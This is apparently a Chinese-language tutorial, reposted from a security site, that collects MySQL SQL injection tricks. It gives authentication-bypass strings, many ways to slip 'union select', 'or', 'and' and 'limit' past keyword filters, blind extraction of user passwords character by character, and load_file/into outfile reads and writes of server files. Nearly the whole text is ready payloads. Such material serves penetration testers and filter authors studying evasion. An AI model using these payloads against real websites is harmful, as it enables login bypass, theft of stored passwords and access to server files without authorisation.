0x00、介绍

也可以参考瞌腄龙的mysql注入科普：http://drops.wooyun.org/tips/123

很多东西都是一样的，但是有一些小技巧确实很使用。

以下所有技巧都只在mysql适用，因为它太灵活了
0x01 MYSQl灵活的语法

1 MySQL语法以及认证绕过

注释符：

#，
— X(X为任意字符)
/*(MySQL-5.1)
;%00
`
‘or 1=1;%00
‘or 1=1 union select 1,2`’
‘or 1=1 #
‘/*!50000or*/ 1=1 — –      //版本号为5.1.38时只要小于50138
‘/*!or*/ 1=1 — –

前缀：

任意混合 + – ~ !

‘or –+2=- -!!!’2

测试后发现and/or后面可以跟上偶数个!、~可以替代空格，也可以混合使用(混合后规律又不同)，and/or前的空格可以省略

‘or- -!!!1=1；

运算符：

^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR,DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……

‘or 1 rlike ‘1

空格替换：%20, %09, %0a, %0b, %0c, %0d, %a0

也可以插入括号，前缀，操作符，引号

‘or+(1)sounds/**/like”1″–%a0-

字符串格式

‘ or “a”=’a’
‘ or ‘a’=n’a’               //unicode
‘ or ‘a’=b’1100001’         //binary
‘ or ‘a’=_binary’1100001’   //5.5.41下测试无效
‘ or ‘a’=x’61’              //16进制

2、MySQL常用的一些小工具

常量：true， false， null， \N, current_timestamp….

变量：@myvar:=1

系统变量：@@version, @@datadir….

常用函数：version(), pi(), pow(), char(), substring()….

3、MySQL类型转换

‘ or 1=true #true=1, false=0
‘ or 1 #true
‘ or version()=5.5 #5.5.41-log

‘ or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4

select * from users where ‘a’=’b’=’c’
select * from users where (‘a’=’b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

以上的语句都是同样的效果

4、认证绕过

绕过语句：’=’

select data from users where name=”=”
select data from users where flase=”
select data from users where 0=0

绕过语句：’-‘

select data from users where name=”-”
select data from users where name=0-0
select data from users where 0=0

0x02 关键字过滤

空格

过滤代码/\s/

%20, %09, %0a, %0b, %0c, %0d, %a0

关键字OR，AND

过滤代码/\sor\s/i,/\sand\s/i

‘||1=’1     #or
‘=’
‘&&1=’1     #and

关键字union select

过滤代码/union\s+select/i

‘and(true)like(false)union(select(pass)from(users))#
‘union [all|distinct] select pass from users#
‘union%a0select pass from users#
‘union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users– –

如果单独过滤union,使用盲注来获取数据

‘and(select pass from users limit 1)=’secret

通过子查询获取单值来进行比较

关键字limit

过滤代码/limit/i

‘and(select pass from users where id=1)=’a
‘and(select pass from users group by id having id=1)=’a
‘and length((select pass from users having substr(pass,1,1)=’a’))

关键字having

过滤代码/having/i

‘and(select substr(group_concat(pass),1,1)from users)=’a

关键字select … from

过滤代码/SELECT\s+[A-Za-z.]+\s+FROM/i/i

select [all|distinct] pass from users
select`table_name`from`information_schema` . `tables`
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
select+pass%a0from(users)

关键字select

过滤代码/select/i
1 有文件读取权限

‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+
length(‘DocumentRoot’),10)=’a’=” into outfile ‘/var/www/dump.txt

2 获取列名

‘ and 列名 is not null#
‘ procedure analyse()#

使用substr来做过滤条件

‘and substr(pass,1,1)=’a

关键字select,and,&

‘0#

select data from users where name = ”-0 # int typecast
select data from users where name = 0 # int typecast
select data from users where 0 = 0 # true

‘-1#

select data from users where 0 = -1 # false

使用条件判断来进行true、false的选择

ifnull(nullif()), case when， if()
‘-if(name=’Admin’,1,0)#

使用嵌套条件’-if(

if(name=’Admin’,1,0), // condition
if(substr(pass,1,1)=’a’,1,0) // if true
,0)# // if false

0x03 函数过滤

构建字符串相关函数

unhex char hex ascii ord substr substring mid pad left right insert
‘ and substr(data,1,1) = ‘a’#
‘ and substr(data,1,1) = 0x61# 0x6162
‘ and substr(data,1,1) = unhex(61)# unhex(6162)
‘ and substr(data,1,1) = char(97)# char(97,98)
‘ and hex(substr(data,1,1)) = 61#
‘ and ascii(substr(data,1,1)) = 97#
‘ and ord(substr(data,1,1)) = 97#

使用conv来进行进制的转换

‘ and substr(data,1,1) = lower(conv(10,10,36))# ‘a’
‘ and substr(data,1,1) = lower(conv(11,10,36))# ‘b’
‘ and substr(data,1,1) = lower(conv(36,10,36))# ‘z’

使用函数来猜解数据

‘ and substr(data,1,1) = ‘a’#
‘ and substring(data,1,1) = ‘a’#
‘ and mid(data,1,1) = ‘a’#

不适用逗号来获取

‘ and substr(data from 1 for 1) = ‘a’#

同样也可以使用一下比较少见的函数来尝试绕过

lpad(data,1,space(1)) // lpad(‘hi’,4,’?’) = ‘??hi’
rpad(data,1,space(1)) // rpad(‘hi’,4,’?’) = ‘hi??’
left(data,1)
reverse(right(reverse(data),1))
insert(insert(version(),1,0,space(0)),2,222,space(0))

有些函数有类似搜索匹配的功能

‘-if(locate(‘f’,data),1,0)#
‘-if(locate(‘fo’,data),1,0)#
‘-if(locate(‘foo’,data),1,0)#
instr(), position()

使用函数进行字符串的切割

length(trim(leading ‘a’ FROM data)) # length will be shorter
length(replace(data, ‘a’, ”)) # length will be shorter

2种方式都是相同效果
0x04 注入时主要使用的一些东西

1个控制流程操作(select, case, if(), …)
1个比较操作(=, like, mod(), …)
1个字符串的猜解(mid(), left(), rpad(), …)
1个字符串生成(0x61, hex(), conv())

使用conv([10-36],10,36)可以实现所有字符的表示

false !pi()           0     ceil(pi()*pi())           10 A      ceil((pi()+pi())*pi()) 20       K
true !!pi()           1     ceil(pi()*pi())+true      11 B      ceil(ceil(pi())*version()) 21   L
true+true             2     ceil(pi()+pi()+version()) 12 C      ceil(pi()*ceil(pi()+pi())) 22   M
floor(pi())           3     floor(pi()*pi()+pi())     13 D      ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi())            4     ceil(pi()*pi()+pi())      14 E      ceil(pi())*ceil(version()) 24   O
floor(version())      5     ceil(pi()*pi()+version()) 15 F      floor(pi()*(version()+pi())) 25 P
ceil(version())       6     floor(pi()*version())     16 G      floor(version()*version()) 26   Q
ceil(pi()+pi())       7     ceil(pi()*version())      17 H      ceil(version()*version()) 27    R
floor(version()+pi()) 8     ceil(pi()*version())+true 18 I      ceil(pi()*pi()*pi()-pi()) 28    S
floor(pi()*pi())      9     floor((pi()+pi())*pi())   19 J      floor(pi()*pi()*floor(pi())) 29 T

更多详细的东西可以参考原文去了解，还有一些其他的注入资料可以参考

http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf

https://media.blackhat.com/bh-us-12/Briefings/Ristic/BH_US_12_Ristic_Protocol_Level_Slides.pdf

http://www.blackhatlibrary.net/SQL_injection

http://websec.ca/kb/sql_injection